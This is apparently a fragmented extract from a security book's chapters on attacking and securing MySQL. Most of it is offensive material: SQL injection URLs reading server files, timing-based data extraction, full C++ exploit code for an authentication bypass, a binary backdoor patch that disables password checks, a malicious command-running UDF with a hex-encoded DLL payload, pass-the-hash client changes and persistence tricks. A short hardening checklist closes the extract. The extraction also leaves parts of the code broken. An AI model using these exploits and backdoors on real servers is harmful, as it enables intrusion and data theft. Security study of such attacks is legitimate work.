he will be able to determine the password hash
...
If an attacker was able to obtain the
hashes from the mysql
...
In most hash-based authentication mechanisms, the password hash must be cracked, by a tedious (and sometimes unsuccessful) process of brute force — trying lots of different passwords to see which
password corresponds to the hash
...
1) versions of MySQL, this
step is unnecessary
...
Even though this sounds terrible in security terms, it is worth bearing in mind
that other, larger databases fare little better in terms of authentication sniffing
attacks — Microsoft SQL Server, for example, uses a protocol where the plaintext password is passed on the wire and obfuscated by swapping the nibbles
(that is, swapping each 4-bit half of each byte) and XORing the result with 0xA5
...
This is much easier in versions
4
...
x of MySQL
...
The MySQL manual has some
detail on how to use SSH with MySQL
...
Hacking MySQL
This section covers the following:
■
■
SQL injection in MySQL
■
■
Known MySQL bugs
281
28_578014 ch18
...
Using SQL injection, it is possible to use the database server as a beachhead
into the internal network — or at least, the network that the MySQL server is
in — and as a platform for launching further attacks
...
The problem
occurs when an application creates a string that holds a SQL query, and includes
user-supplied data in that string without applying any input validation
...
This
data is passed to a database query directly, so if the user inputs the username
fred and the password sesame into the form, the SQL query looks like this:
select * from tblUsers where username = ‘fred’ and password = ‘sesame’
In this example, the problems occur when the user specifies a string with a
single quote in it
...
Worse, the user can take advantage of other SQL statements such as union,
insert, delete, and so on to manipulate the database directly
...
The problem itself results from insufficient
input validation in web applications, but the configuration of the backend
database can contribute greatly to an attacker’s success
...
Before we address the specifics of SQL injection in MySQL, let’s consider the
common attacks
...
If you’re not entirely familiar with SQL injection, see
28_578014 ch18
...
ngssoftware
...
and
http://www
...
com/papers/more_advanced_sql_injection
...
PHP is by far the most common web application scripting language used
with MySQL, so this section assumes that the scripting environment is PHP —
though these attacks apply almost equally to almost every scripting language
...
In magic_quotes_gpc, the gpc stands for GET/POST/COOKIE
...
$_REQUEST[‘user’]
...
However, if the value is being placed in a nondelimited portion of the query, such as a numeric value, table, or column
name:
$query = “SELECT * FROM user order by “
...
$_REQUEST[‘user’];
then SQL injection is still possible
...
The comparison will still work, but magic_quotes_gpc will protect
against the attacker escaping from the string
...
Assuming that the attacker is able to mount a SQL injection attack, the question then is, what can he do? The major danger areas are
UNION SELECT
LOAD_FILE function
LOAD DATA INFILE statement
SELECT
...
qxd
284
6/3/05
7:08 PM
Page 284
Chapter 18
So that we have a concrete example to work with, we will take a slightly
modified version of one of the common PHP example scripts as our contrived
vulnerable script
...
This is obviously a contrived situation, but it will help to make
the examples a little clearer
...
mysql_error());
print “Connected successfully”;
mysql_select_db(“mysql”) or die(“Could not select database”);
/* Performing SQL query */
$query = “SELECT * FROM user where max_connections = “
...
$query
...
mysql_error());
/* Printing results in HTML */
print “
$col_value | \n”;
/* Free resultset */
mysql_free_result($result);
/* Closing connection */
mysql_close($link);
?>
UNION SELECT
The UNION statement was implemented in MySQL version 4
...
Because it’s
one of the staple ingredients of a SQL injection attack, the introduction of this
feature has actually made exploiting MySQL servers via SQL injection a little
easier
...
$_REQUEST[‘user’];
max_connections is 0 for the default root user, so if we issue a web request for
28_578014 ch18
...
example
...
php?user=0
we should get the user table output
...
Because the UNION statement comes after the WHERE clause in a select statement, we can choose any
data we like, within the following restrictions:
■
■
Our select statement must return the same number of fields as the original (31 if you count them, or do a describe user)
...
■
■
If our data contains text fields, they will be truncated to the length of
the corresponding text field in the first query
...
We would request something like
http://mysql
...
com/query
...
For example, suppose we wanted to retrieve the name and dl fields from the
func table:
http://mysql
...
com/query
...
LOAD_FILE Function
The LOAD_FILE function returns a string containing the contents of a file, specified by its path
...
ini’);
will retrieve the contents of the boot
...
The file_priv privilege in MySQL versions prior to 4
...
This is a documented feature of MySQL
...
INTO OUTFILE statements
...
qxd
286
6/3/05
7:08 PM
Page 286
Chapter 18
A user who has the FILE privilege can read any file on the server host that is
either world-readable or readable by the MySQL server
...
) The FILE privilege also allows the user to create new files in any directory
where the MySQL server has write access
...
This means that if a user has file_priv, he can see the password hashes
...
/mysql/user
...
user where user=’monty’;
5d2e19393cc5ef67
As noted previously, in MySQL prior to 4
...
In fact, the user can see all data in MySQL without any
other access control having any effect whatsoever
...
This works because file_priv lets you read any files that
mysql can read
...
Any user who has file_priv should be considered to be equivalent to the superuser
...
ini without using single quotes
...
For example, the following two select statements are equivalent:
select ‘c:/boot
...
example
...
php?user=1+union+select+load_file
(0x633a2f626f 6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1
we get something that looks like:
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)pa 1 1 N N N N N
N N N N N N N N N N N N N N N N 1 1 1 1 1 1
In other words, we got the first few bytes of c:\boot
...
28_578014 ch18
...
example
...
php?user=1+union+select+substring
(load_file(0x633a2f626f6f742e696e69),60),1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
This will select the next 60 characters from boot
...
In this manner, we can
iterate through the whole file, returning all the data
...
LOAD DATA INFILE Statement
This isn’t really as useful to an attacker as the LOAD_FILE function, because
generally functions can be used as terms in a select statement, whereas issuing
a complete statement like LOAD DATA INFILE is somewhat tricky
...
The statements you would need to execute to read a text file would look
something like this:
create table foo( line blob );
load data infile ‘c:/boot
...
In the
case of a web application with SQL injection issues, this would allow the
attacker to read files on the web server as well as on the database server
...
23
...
0
...
0
...
Both the client and the server must permit LOAD DATA
INFILE for this feature to be available
...
SELECT
...
INTO OUTFILE
...
This statement represents the most obvious way for an attacker to gain
control of a MySQL server — normally by creating previously nonexistent
configuration files, possibly in users’ home directories
...
287
28_578014 ch18
...
INTO OUTFILE, certain characters will be escaped with backslashes, and nulls will be replaced
with \0
...
INTO DUMPFILE
One possible malicious use of this statement would be to create a dynamically loadable library, containing a malicious UDF (User Defined Function) on
the target host, and then use CREATE FUNCTION to load the library and make
the function accessible to MySQL
...
A point to note here is that in order for this
attack to work, the attacker must be able to cause MySQL to write a file to a
location that will be searched when MySQL loads a dynamically loadable
library
...
Another thing to bear in mind about SELECT
...
An excellent example of this is the bug CAN-2003-0150, detailed in Table 18-1
...
23
...
cnf in
the MySQL data directory that would configure MySQL to run as root when
restarted
...
23
...
cnf overrides the user setting in /
...
In versions that are vulnerable to this bug, it is relatively simple for an attacker
to compromise the system using a UDF, in the manner described earlier
...
This
poses a problem for the attacker because it is then much harder to determine
whether or not SQL injection exists in the application
...
If the attacker has a
simple function or query fragment that will cause the query to pause if SQL
injection is happening, he will be able to easily determine which scripts in the
web application are vulnerable because the web request will take an extra 10
seconds to complete
...
For more information on extracting data from a database using time
delays, see
http://www
...
com/papers/more_advanced_sql_injection
...
qxd
6/3/05
7:08 PM
Page 289
MySQL: Discovery, Attack, and Defense
In MySQL there is no simple wait or sleep function, but the combination
of cryptographic primitives and the benchmark function works in much the
same way
...
For example,
select benchmark( 500000, sha1( ‘test’ ) );
will calculate the SHA1 hash of the string test 500,000 times
...
7-GHz, single processor machine
...
For example,
http://mysql
...
com/query
...
The attacker can use this technique to ask questions of the target system
...
The next step is, of course, full data retrieval using time delays
...
For
example, the following statement will pause if the high-order bit of user() is 1:
select if( (ascii(substring(user(),1,1)) >> 7) & 1,
benchmark(100000,sha1(test)), false );
Because multiple queries can be executing simultaneously, this can be a reasonably fast way of extracting data from a database in the right situation
...
For example, if the Version Fix column says
3
...
22 and higher
...
nist
...
)
289
28_578014 ch18
...
0
...
0
...
4
...
21
3
...
49
CAN-2004-0837
MySQL 4
...
0
...
x before
3
...
49, allows attackers to cause a denial of
service (crash or hang) via multiple threads
that simultaneously alter MERGE table UNIONs
...
0
...
23
...
x before 4
...
21, and 3
...
23
...
4
...
21
3
...
49
CAN-2004-0835
MySQL 4
...
0
...
x before
3
...
49, checks the CREATE/INSERT rights of
the original table instead of the target table
in an ALTER TABLE RENAME operation, which
could allow attackers to conduct unauthorized
activities
...
1
...
0
...
1
...
1
...
0, allows remote attackers
to cause a denial of service (crash) and
possibly execute arbitrary code via a long
scramble string
...
1
...
0
...
4
...
21
CAN-2004-0457
The mysqlhotcopy script in mysql 4
...
20 and
earlier, when using the scp method from the
mysql-server package, allows local users to
overwrite arbitrary files via a symlink attack on
temporary files
...
23
...
0
...
Workaround — revoke access to the script
...
23
...
0
...
Workaround — revoke access to the script
...
qxd
6/3/05
7:08 PM
Page 291
MySQL: Discovery, Attack, and Defense
Table 18-1 (continued)
VERSION FIX
CVE ID
DESCRIPTION
3
...
57
4
...
15
CAN-2003-0780
Buffer overflow in get_salt_from_password
from sql_acl
...
0
...
23
...
Note — an attacker would have to be able to
modify a user’s password in order to carry out
this attack, but it would result in the execution
of arbitrary code
...
23
...
23
...
Workaround — patch, use --chroot, and apply
file permissions
...
23
...
23
...
3
...
54
4
...
6
CAN-2002-1376
libmysqlclient client library in MySQL 3
...
23
...
x to 4
...
6, does not properly
verify length fields for certain responses in the
(1) read_rows or (2) read_one_row routines,
which allows remote attackers to cause a
denial of service and possibly execute arbitrary
code
...
This might be a way of
compromising a web server, once the MySQL
server itself had been compromised
...
23
...
0
...
x before 3
...
54, and 4
...
0
...
This bug (and CAN-2002-1374, described
next) is an excellent reason to rename the
default “root” account
...
(continued)
291
28_578014 ch18
...
24
...
0
...
x before 3
...
54, and 4
...
0
...
The attacker must know the name of a MySQL
user in order to carry out this attack
...
23
...
0
...
23
...
23
...
3
...
50
4
...
2
CAN-2002-0969
Buffer overflow in MySQL before 3
...
50,
and 4
...
02, and possibly other
platforms, allows local users to execute
arbitrary code via a long “datadir” parameter in
the my
...
(not fixed)
CAN-2001-1255
WinMySQLadmin 1
...
ini file, which
allows local users to obtain unauthorized
access the MySQL database
...
3
...
36
CVE-2001-0407
Directory traversal vulnerability in MySQL
before 3
...
36 allows local users to modify
arbitrary files and gain privileges by creating a
database whose name starts with
...
3
...
31
CAN-2001-1274
Buffer overflow in MySQL before 3
...
31
allows attackers to cause a denial of service
and possibly gain privileges
...
23
...
23
...
user
table and gain control of mysql
...
qxd
6/3/05
7:08 PM
Page 293
MySQL: Discovery, Attack, and Defense
Table 18-1 (continued)
VERSION FIX
CVE ID
DESCRIPTION
4
...
x
CVE-2000-0981
MySQL Database Engine uses a weak
authentication method, which leaks
information that could be used by a remote
attacker to recover the password
...
23
...
22 allows remote attackers to bypass
password authentication and access a
database via a short check string (this is
similar to CAN-2002-1374)
...
23
...
3
...
21 creates log files with
world-readable permissions, which allows
local users to obtain passwords for users who
are added to the user database
...
The following is exploit code for CAN-2004-0627, a bug I discovered
...
The exploit is designed to be run on a Windows platform
...
The query pszQuery will be executed with the privileges of the user specified in the string user — in this case, root
...
cpp
#include
h>
#include
h>
#define Get(X, Y) X Y( int &offset )\
{if( offset <= (int)(m_Size - sizeof( X )))\
{ offset += sizeof( X ); return *((X *)(&m_Data[
offset - sizeof(X) ]));}\
else return 0;}
#define Addn(X, Y) int Y( int &offset, X n ){ Add( (BYTE *)&n, sizeof( n
) ); return 1; }
class Buffer
{
public:
unsigned char *m_Data;
int m_Size;
Buffer(){ m_Data = NULL; m_Size = 0; };
~Buffer(){ if( m_Data ) delete m_Data; };
int Add( unsigned char *pdata, int len )
{
293
28_578014 ch18
...
SetSize( 0 );
ret
...
qxd
6/3/05
7:08 PM
Page 295
MySQL: Discovery, Attack, and Defense
};
int m_sock_initialised = 0;
class Socket
{
private:
int m_sock;
public:
Socket(){ m_sock = 0; }
~Socket(){ Disconnect(); }
int Connect( char *host_ip, unsigned short port )
{
WORD wVersionRequested;
WSADATA wsaData;
int ret;
struct sockaddr_in sa;
if ( m_sock_initialised == 0 )
{
wVersionRequested = MAKEWORD( 2, 2 );
ret = WSAStartup( wVersionRequested, &wsaData );
if ( ret != 0 )
return 0;
m_sock_initialised = 1;
}
m_sock = (int)socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if( m_sock == INVALID_SOCKET )
return 0;
sa
...
s_addr = inet_addr( host_ip );;
sa
...
sin_port = htons( port );
ret = connect( m_sock, (struct sockaddr *)&sa, sizeof( struct
sockaddr_in ) );
if( ret == 0 )
return 1;
else
return 0;
}
int Disconnect()
{
closesocket( m_sock );
return 1;
}
int Send( Buffer &buff )
{
return send( m_sock, (char *)buff
...
m_Size, 0 );
}
int Receive( Buffer &buff )
{
295
28_578014 ch18
...
m_Data, buff
...
Receive( ret );
}
int ParseBanner( Buffer &buff, WORD &BodyLength, WORD &Packet, BYTE
&Protocol, Buffer &Version,
DWORD &ThreadID, Buffer &Challenge, WORD
&Capabilities, BYTE &Charset, WORD &Status, Buffer &Padding )
{
int offset = 0;
BodyLength = buff
...
GetWORD( offset );
Protocol = buff
...
GetString( offset, Version );
ThreadID = buff
...
GetString( offset, Challenge );
Capabilities = buff
...
GetBYTE( offset );
Status = buff
...
GetString( offset, Padding );
return 1;
}
int main(int argc, char *argv[])
{
Socket s;
Buffer banner;
BYTE Protocol, Charset;
WORD BodyLength, Packet, Capabilities, Status;
DWORD ThreadID;
Buffer Version, Challenge, Padding, Response, tmp, Query;
int offset;
char *user = “root”;
char *password = “\x14\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXX”;
char *pszQuery = “select * from mysql
...
SetSize( 4096 );
if( !s
...
qxd
6/3/05
7:08 PM
Page 297
MySQL: Discovery, Attack, and Defense
Response
...
AddWORD( offset, 0x0100 ); // packet
Response
...
AddWORD( offset, 0x0000 );
Response
...
Add( (BYTE *)user, (int)strlen( user ) + 1 );
offset += (int)strlen( user ) + 1;
Response
...
Send( Response );
tmp
...
SetSize( 4096 );
s
...
Print();
offset = 0;
Query
...
AddWORD( offset, 0x0000 ); // packet
Query
...
Add( (BYTE *)pszQuery, (int)strlen( pszQuery ) + 1 );
s
...
SetSize( 0 );
tmp
...
Receive( tmp );
tmp
...
In
this context, we are considering an attacker who wishes to ensure that he will
continue to have administrative access to the database once he has compromised it
...
qxd
298
6/3/05
7:08 PM
Page 298
Chapter 18
Adding a User
The most straightforward way for an attacker to ensure continued admin access
to a host is to add an administrative user
...
In a well-structured mysql
...
Most people tend to use the mysql command-line client to query MySQL, so
the attacker can take advantage of this
...
user;
to determine whether an invalid user was present
...
user;
+-----------+-------+-------------------------------------------+------------+------------+-------------+-------------+-------------+-----------+-----------+---------------+--------------+-----------+------------+----------------+-----------+------------+--------------+------------+----------------------+-----------------+--------------+-----------------+------------------+---------+-----------+-------------+--------------+---------------+-------------+---------------+
| Host
| User | Password
|
Select_priv |
Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv |
Reload_priv
| Shutdown_priv | Process_priv | File_priv | Grant_priv |
References_priv | Inde
x_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv
| Lock_t
ables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv |
ssl_type | ssl_
cipher | x509_issuer | x509_subject | max_questions | max_updates |
max_connecti
ons |
+-----------+-------+-------------------------------------------+------------+------------+-------------+-------------+-------------+-----------+-----------+---------------+--------------+-----------+------------+----------------+-----
28_578014 ch18
...
qxd
300
6/3/05
7:08 PM
Page 300
Chapter 18
-------+-------------+--------------+---------------+-------------+---------------+
3 rows in set (0
...
An obvious way for an attacker to take advantage of this is to either add
a blank username, or a username of Y or N
...
For instance, if a user has global select privilege in the mysql
...
Similarly, it is possible to grant surprising levels of access to users using the
database-, table-, and column-level privileges
...
* TO ‘’@’%’
grants all users all database privileges (except grant) on the MySQL database
...
user set file_priv=’Y’ where user=’’;
It is important to understand that the privileges will not actually take effect
until either the server is restarted or a user with the reload_priv privilege executes the flush privileges command
...
Cracking Password Hashes
The password hash format in MySQL was discussed in the previous chapter
...
1, the password hash is all that is necessary to authenticate — no password hash cracking is necessary
...
The attack described in this section is really therefore confined to MySQL 4
...
28_578014 ch18
...
The following code snippet
will crack a SHA1 hash of abcd:
create table ch(c char);
insert into ch values(‘a’),(‘b’),(‘c’),(‘d’)
...
c,b
...
c,d
...
A 5-alphabetic-character SHA1 hash takes a maximum of about 90 seconds, and each additional character multiplies the time
by 26, so 6-character hashes would take about 39 minutes, and 7-character
hashes almost a day
...
1
...
First, obtain the value of the password you want to crack
...
/mysql/user
...
/mysql/user
...
00 sec)
Assuming a password for the account monty of aaa, the following query
brute-forces the password:
mysql> select distinct u
...
c,b
...
c,d
...
user u,
ch a, ch b, ch c, ch d where
password(trim(concat(a
...
c,c
...
c)))=u
...
c,b
...
c,d
...
33 sec)
This attack should be used with caution; although it’s an interesting thing to
do, the processor utilization on the server will almost certainly be noticed
...
301
28_578014 ch18
...
This results in a
situation where, provided remote access is granted to the MySQL server, it is
possible to authenticate as any valid remote user, without knowledge of that
user’s password
...
Specifically, when you want to
■■
Place a subtle backdoor in a system
...
■■
Compromise a system “quietly
...
If the attack is well constructed, it will appear in the
logs that a normal user engaged in normal activity
...
Anyway, on with the MySQL patch
...
mysql
...
MySQL uses a somewhat bizarre home-grown authentication mechanism
that involves the following protocol (for remote authentications):
■■
The client establishes a TCP connection
...
”
■■
The client “scrambles” the challenge using its password hash (an 8-byte
quantity)
...
■
■
The server checks the scrambled data using the function check_scramble
in sql\password
...
■■
If the scrambled data agrees with the data the server is expecting,
check_scramble returns 0
...
The relevant snippet of check_scramble looks like this:
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1;
/* Wrong password */
}
return 0;
28_578014 ch18
...
If we change that code snippet to look like
this:
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 0;
/* Wrong password but we don’t
care :o) */
}
return 0;
Any user account that can be used for remote access can be used with any
password
...
The code compiles to a byte sequence something like this (using MS assembler format; sorry AT&T fans
...
If we change that to mov al, 0, any
user can use any password
...
We couldn’t make a smaller change to the process if we tried, yet
we’ve disabled the entire remote password authentication mechanism
...
There have historically been a number of arbitrary code execution
issues in MySQL; doubtless more will be found in time
...
You then write a small exploit payload that applies that difference to the
running code, or to the binary file, in a similar manner to the SQL Server exploit
outlined earlier
...
This means that anyone who can execute the myphp
function (which may very well mean everyone) can run arbitrary code on the
MySQL server
...
MyLUA provides extensibility via a similar mechanism, and is equally
dangerous
...
qxd
304
6/3/05
7:08 PM
Page 304
Chapter 18
Local Attacks Against MySQL
This section covers the following:
■■
Race conditions
■■
Overflows
■■
The MySQL file structure revisited
A few points are worth discussing in relation to local attacks on MySQL before
dealing with the few specific attacks that fall into this section
...
From this perspective, local attackers can be much more dangerous than remote
attackers
...
If a user has a means of running arbitrary code on the MySQL host, he
will almost certainly be able to bypass the restriction and connect to MySQL
without going through SSH first
...
Race Conditions
Race condition attacks commonly affect Unix platforms, though the same category of attack could affect Windows platforms under some circumstances
...
MySQL has historically been supplied with a number of scripts that make use
of temporary files
...
The MySQL script will then
unwittingly overwrite the system file using MySQL’s privilege
...
Other notable local bugs in MySQL are CAN-2001-1255 (not fixed at the
time of this writing), in which the WinMySQLAdmin tool leaves the plaintext
root password in my
...
Overflows
On most platforms, exploiting a buffer overflow locally is much easier than
exploiting it remotely, mainly because the attacker can research the precise
28_578014 ch18
...
In terms of local-only overflows in MySQL, there aren’t any published bugs
that fit into this category
...
frm file with
other associated files depending on the storage engine used for the table
...
Another, more serious point is that
you should ensure that operating system users other than the MySQL user cannot see the mysql directory
...
MYD file, he
will have all users’ password hashes
...
1, knowledge of the
password hash is all that’s needed for authenticating
...
qxd
6/3/05
7:08 PM
Page 306
29_578014 ch19
...
Once
a MySQL database server is compromised, an attacker’s options for further
network penetration are somewhat limited, basically consisting of adding
user-defined functions to MySQL
...
1 using only the
password hash
...
MySQL Client Hash Authentication Patch
Previous chapters have alluded to the possibility of patching your MySQL
command-line client to allow authentication using the password hash, rather
than the password
...
307
29_578014 ch19
...
0
...
1 versions
...
1 can be modified
to allow this kind of authentication in a similar way, although the legacy and
current authentication protocol code is split
...
c in ibmysql, add the following
function (save a backup of the file first!):
void get_hash(ulong *result, const char *password)
{
if( strlen( password ) != 16 )
return;
sscanf( password, “%08lx%08lx”, &(result[0]), &(result[1]) );
return;
}
Now alter the scramble function by commenting out the line
hash_password(hash_pass,password);
Insert after the (now commented out) line
get_hash(hash_pass,password);
The start of your scramble function should now look like this:
char *scramble(char *to,const char *message,const char *password,
my_bool old_ver)
{
struct rand_struct rand_st;
ulong hash_pass[2],hash_message[2];
if (password && password[0])
{
char *to_start=to;
//
hash_password(hash_pass,password);
get_hash(hash_pass,password);
hash_password(hash_message,message);
When you recompile the mysql utility, you will be able to authenticate by
using the password hash instead of the password
...
qxd
6/3/05
7:12 PM
Page 309
MySQL: Moving Further into the Network
mysql -u root -p5d2e19393cc5ef67
(5d2e19393cc5ef67 is the mysql hash of password
...
Running External Programs:
User-Defined Functions
MySQL doesn’t have a mechanism for directly running external programs, but
(as has been mentioned before) it does have a mechanism for executing custom
C/C++ functions in dynamically loaded libraries
...
This section takes you through the process of creating a malicious UDF,
uploading it to the target host, installing it, and executing it
...
”
For background, uploading and executing a UDF is the code upload mechanism used by the MySQL worm that infected thousands of hosts in January
2005 — the W32/Sdbot
...
gen
...
So, assuming you are an attacker, what do you want your malicious UDF
to do? Well, a useful thing would be to be able to “select” the result of a shell
command, something like the system function, except returning the output to
MySQL
...
It executes the system function and returns the result
as a string
...
h>
#include
qxd
310
6/3/05
7:12 PM
Page 310
Chapter 19
char
*ptr;
/* free pointer for function data */
char const_item;
/* 0 if result is independent of arguments */
} UDF_INIT;
char *do_system(UDF_INIT *initid, UDF_ARGS *args,
char *result, unsigned long *length,
char *is_null, char *error)
{
int bufsiz = 1024 * 8, retlen;
char *buff = malloc( bufsiz );
int filedes[2];
if( args->arg_count != 1 )
return 0;
pipe( filedes );
dup2( filedes[1], 1 );
dup2( filedes[1], 2 );
system( args->args[0] );
memset( buff, 0, bufsiz );
read( filedes[0], buff, bufsiz - 1 );
retlen = strlen( buff ) + 1;
*length = retlen;
initid->ptr = buff;
return buff;
}
void do_system_deinit(UDF_INIT *initid)
{
if( initid->ptr )
free( initid->ptr );
}
This is a slightly more elaborate function than the one you saw in the previous chapter; this time you are returning the output of the command
...
into dumpfile syntax
...
so
...
0 > 1
...
txt > 2
...
You create that table on the target server like this:
29_578014 ch19
...
);
Once you have the contents of the file in a BLOB field in your temporary
btemp table, you can then create the library file like this:
select * from btemp into dumpfile ‘/lib/so_system
...
0
...
Other possibilities are /usr/lib or any
of the directories specified in the LD_LIBRARY_PATH environment variable,
if it exists
...
so
...
0’;
Query OK, 0 rows affected (0
...
User-Defined Functions in Windows
In Windows, placing the library file in an executable location is significantly
easier because most versions of Windows will load DLLs from the current
working directory of the process
...
worm
...
j worm to gain control of Windows
hosts
...
dll’;
a file will be created containing the 3 bytes 0x010203 called 123
...
All you need now is a suitable Windows UDF DLL
...
qxd
312
6/3/05
7:12 PM
Page 312
Chapter 19
#include
h>
#include
h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args
{
unsigned int arg_count;
/* Number of arguments */
enum Item_result *arg_type;
/* Pointer to item_results */
char **args;
/* Pointer to argument */
unsigned long *lengths;
/* Length of string arguments */
char *maybe_null;
/* Set to 1 for maybe_null args */
} UDF_ARGS;
typedef struct st_udf_init
{
char maybe_null;
/* 1 if function can return NULL */
unsigned int decimals;
/* for real functions */
unsigned long max_length;
/* For string functions */
char
*ptr;
/* free pointer for function data */
char const_item;
/* 0 if result is independent of arguments */
} UDF_INIT;
extern “C” _declspec(dllexport) char *do_system(UDF_INIT *initid,
UDF_ARGS *args,
char *result, unsigned long *length,
char *is_null, char *error)
{
int bufsiz = 1024 * 8, retlen;
char *buff = (char *)malloc( bufsiz );
if( args->arg_count != 1 )
return 0;
system( args->args[0] );
strcpy( buff, “Success” );
retlen = (int)strlen( buff ) + 1;
*length = retlen;
initid->ptr = buff;
return buff;
}
extern “C” _declspec(dllexport) void do_system_deinit(UDF_INIT *initid)
{
if( initid->ptr )
free( initid->ptr );
}
If you compile this DLL to be as small as possible (in tests, it was possible
using the DLL version of the runtime library and the /Opt:NoWin98 flag to create UDF DLLs as small as 4KB), you then have all of the pieces you need to run
arbitrary code on a Windows system, given root access to the MySQL server
...
qxd
6/3/05
7:12 PM
Page 313
MySQL: Moving Further into the Network
A script of the following form will create a file named test_udf
...
txt in the MySQL data
directory:
select 0x4D5A90000300000004000000FFFF0000B8000000000000004000000000000
00000000000000000000000000000000000000000000000000000000000F00000000E1FB
A0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F7420626520727
56E20696E20444F53206D6F64652E0D0D0A24000000000000004350529007313CC307313
CC307313CC3843961C305313CC307313DC30D313CC3023D61C304313CC3023D33C306313
CC3023D63C300313CC3023D5CC305313CC3023D60C306313CC3023D66C306313CC352696
36807313CC3000000000000000000000000000000000000000000000000504500004C010
400085AF2410000000000000000E0000E210B01070A00040000000800000000000034110
000001000000020000000000010001000000002000004000000000000000400000000000
000005000000004000000000000020000000000100000100000000010000010000000000
000100000006022000064000000442100003C00000000000000000000000000000000000
0000000000000000000004000007C000000302000001C000000000000000000000000000
000000000000000000000000000882000004800000000000000000000000020000030000
0000000000000000000000000000000000000000000000000002E746578740000005C030
000001000000004000000040000000000000000000000000000200000602E72646174610
000C4020000002000000004000000080000000000000000000000000000400000402E646
17461000000280000000030000000020000000C000000000000000000000000000040000
0C02E72656C6F630000920000000040000000020000000E0000000000000000000000000
000400000420000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000566800200000FF15142000108BF08
B4424108B0883C40483F901740433C05EC38B40088B0851FF15282000108B154C2000108
916A1502000108946048BC683C4048D50018A084084C975F98B4C24142BC28B542408408
90189720C8BC65EC3CC8B4424048B400C85C0740A89442404FF2508200010C38B4424088
5C0750E3905143000107E2EFF0D1430001083F8018B0D102000108B09890D18300010754
F6880000000FF151420001085C059A320300010750433C0EB79832000A120300010A31C3
00010E88C010000689A120010E870010000C70424043000106800300010E833010000FF0
51430001059EB3F85C0753CA12030001085C07433EB138B0D1C3000108B0985C97407FFD
1A120300010832D1C3000100439051C30001073DE50FF150820001083252030001000593
3C040C20C006A0C6858200010E8C401000033C0408945E433FF897DFC8B750C3BF7750C3
93D143000100F84AC0000003BF0740583FE027531A1243000103BC7740CFF751056FF750
8FFD08945E4397DE40F8485000000FF751056FF7508E8E5FEFFFF8945E43BC774728B5D1
05356FF7508E83F0100008945E483FE01750E3BC7750A5357FF7508E8BBFEFFFF3BF7740
583FE0375295356FF7508E8A8FEFFFF85C07503897DE4397DE47413A1243000103BC7740
A5356FF7508FFD08945E4834DFCFF8B45E4EB1A8B45EC8B088B095051E8DA0000005959C
38B65E8834DFCFF33C0E82A010000C20C00FF250C200010833D20300010FF7506FF25202
00010681C3000106820300010FF74240CE81601000083C40CC3FF742404E8D1FFFFFFF7D
313
29_578014 ch19
...
qxd
6/3/05
7:12 PM
Page 315
MySQL: Moving Further into the Network
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000001000006400000008302
8302E30353071308030883091309930A630AE30BC30C130CB30D730DC30E730F330FF300
C311231193122312831373154316831DB311A32203229322E323332593265326C329D32A
932B032E032ED32FA32053352335833000000200000180000005C3060306C3070307C308
030C430C8300000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000 into
dumpfile ‘test_udf
...
dll’;
select(‘dir > foo
...
1
...
Because MySQL runs
as the LocalSystem account, it is straightforward to then fully compromise the
Windows host
...
Summary
There are few options in terms of further network compromise for an attacker
who has compromised a MySQL server, compared with the rich programming
environments available in Oracle and Sybase, for example
...
315
29_578014 ch19
...
qxd
6/3/05
7:07 PM
Page 317
CHAPTER
20
Securing
MySQL
Up until now, we’ve talked about various ways of helping to thwart various
attacks on MySQL
...
Even if you don’t follow all of these steps, just carrying out a few of them
will significantly improve the security of your MySQL server
...
MySQL Security Checklist
Here’s a quick reference checklist for the points that we discuss in this chapter
...
Read the MySQL security guidelines at http://dev
...
com/
doc/mysql/en/Security
...
2
...
mysql
...
3
...
317
30_578014 ch20
...
Deploy IPTables (Linux), an IPSec filtering ruleset (Windows), or some
other host-based firewall software on your MySQL servers
...
Use a low-privileged mysql account to run the MySQL daemon
...
3
...
4
...
Specifically, the MySQL user should be prohibited from
reading operating system configuration files
...
5
...
6
...
Ensure that no user other than the MySQL user
can read any MySQL configuration and log files
...
cnf, my
...
info commonly have plaintext usernames and passwords in
them, and the query log file (if present) is likely to contain passwords
...
Turn off unnecessary services or daemons
...
Make sure you don’t have anything in your
...
MySQL Users
1
...
2
...
3
...
4
...
5
...
For instance, you might have
one MySQL user that you use to update tables, and another, lowerprivileged user that you use to “select” from tables
...
